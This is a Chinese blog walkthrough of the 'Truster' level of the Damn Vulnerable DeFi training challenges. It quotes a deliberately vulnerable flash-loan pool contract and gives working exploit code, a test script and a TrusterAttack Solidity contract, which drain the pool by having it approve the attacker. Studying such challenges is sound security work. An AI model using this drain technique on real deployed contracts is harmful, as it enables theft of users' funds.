moon

moon

Build for builders on blockchain
github
twitter

Defi黑客系列:Damn Vulnerable DeFi (三) - Truster

Damn Vulnerable DeFi 是一个 Defi 智能合约攻击挑战系列。内容包括了闪电贷攻击、借贷池、链上预言机等。在开始之前你需要具备 Solidity 以及 JavaScipt 相关的技能。针对每一题你需要做的就是保证该题的单元测试能够通过。

题目链接:https://www.damnvulnerabledefi.xyz/challenges/3.html

题目描述:

有一个借贷池合约提供 DVT 代币的闪电贷功能,其中有 100 万个代币。而你一个都没有,你需要做的就是在一笔交易中取光该借贷池的代币。

同样首先看下借贷池合约的源码

TrusterLenderPool.sol

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

/**
 * @title TrusterLenderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract TrusterLenderPool is ReentrancyGuard {

    using Address for address;
		
    // token 实例
    IERC20 public immutable damnValuableToken;

    constructor (address tokenAddress) {
        damnValuableToken = IERC20(tokenAddress);
    }
		
    // 闪电贷方法
    // borrowAmount 借出的数量
    // borrower 借出人
    // target 回调的合约地址
    // data  回调的合约方法以及参数形成的 calldata 数据
    function flashLoan(
        uint256 borrowAmount,
        address borrower,
        address target,
        bytes calldata data
    )
        external
        nonReentrant
    {
        // 获取该合约 DVT token的余额
        uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
        require(balanceBefore >= borrowAmount, "Not enough tokens in pool");

        // 转 borrowAmount 数量的 DVT token 到 borrower 地址中
        damnValuableToken.transfer(borrower, borrowAmount);
        // 调用 target 的回调方法
        target.functionCall(data);

        // 确保已返还token
        uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
        require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
    }
}

通过智能合约可以看出,想通过 flashLoan 方法拿出所有 token 是没有办法的。因为合约最后会校验余额,不满足的话会回滚交易。

换个思路,如果能够调用 token 合约的 transferFrom 方法,即

token.transForm(pool, attacker, account);

将借贷池合约中的 token 转到 attacker 地址,就能达到目的了。

但要使 transForm 成功执行,就需要 token 合约的授权。在 ERC20 标准中有方法

function approve(address spender, uint256 amount) public virtual override returns (bool)

即同意 spender 花费调用者账户 amount 数量的 token。

在本题中,就可以在借贷池合约中调用类似下面的方法:

token.approve(attacker, amount);

即 调用者 (借贷池合约) 同意 attacker 地址花费其 amount 数量的 token。

然而,借贷池合约中并没有可以调用的地方,但我们注意到 flashLoan 方法内部有行代码 target.functionCall(data);, 其内部核心就是进行底层调用 target.call(data)

智能合约之间的交互都是通过 calldata, 形如:
0x6057361d000000000000000000000000000000000000000000000000000000000000000a
前 4 个字节(6057361d)是函数 selector(函数的标识符),其余是传递给函数的输入参数。
在合约内部通过构造 calldata,可以通过 abi.encodeWithSignature ("函数名 (... 参数类型)", ...params)

所以在本题 target 是 token 合约的地址,data 是 approve 方法,在 js 中通过下面的方法构造 data

const abi = [
  'function approve(address, uint256) external'
]
const iface = new ethers.utils.Interface(abi)
const data = iface.encodeFunctionData('approve', [attacker.address, ethers.constants.MaxUint256])

之后就可以调用 flashLoan 方法并传入对应的参数。成功执行后就意味着借贷池合约中的余额可以随意供 attacker 操作。代码如下

it('Exploit', async function () {
  const abi = [
    'function approve(address, uint256) external'
  ]
  const iface = new ethers.utils.Interface(abi)
  const data = iface.encodeFunctionData('approve', [attacker.address, ethers.constants.MaxUint256])

  await this.pool.flashLoan(0, deployer.address, this.token.address, data)
  await this.token.connect(attacker).transferFrom(this.pool.address, attacker.address, TOKENS_IN_POOL)
})

运行 yarn truster, 测试通过!

然而题目要求进行一笔交易,显然我们的代码是不满足要求的,所以可以通过智能合约执行一笔交易

TrusterAttack.sol

pragma solidity ^0.8.0;

import "../truster/TrusterLenderPool.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract TrusterAttack {
  TrusterLenderPool public pool;
  IERC20 public token;

  constructor(address _pool, address _token) {
    pool = TrusterLenderPool(_pool);
    token = IERC20(_token);
  }

  function attack(address borrower) external {
    address sender = msg.sender;
    bytes memory data = abi.encodeWithSignature("approve(address,uint256)", address(this), type(uint256).max);
    pool.flashLoan(0, borrower, address(token), data);

    token.transferFrom(address(pool), sender, token.balanceOf(address(pool)));
  }
}

之后在测试用例中部署合约,执行 attack 方法

it('Exploit', async function () {
  const TrusterAttack = await ethers.getContractFactory('TrusterAttack', deployer)
  const trusterAttack = await TrusterAttack.deploy(this.pool.address, this.token.address)

  await trusterAttack.connect(attacker).attack(deployer.address)
})

最后运行 yarn truster, 测试通过!

完整代码

加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。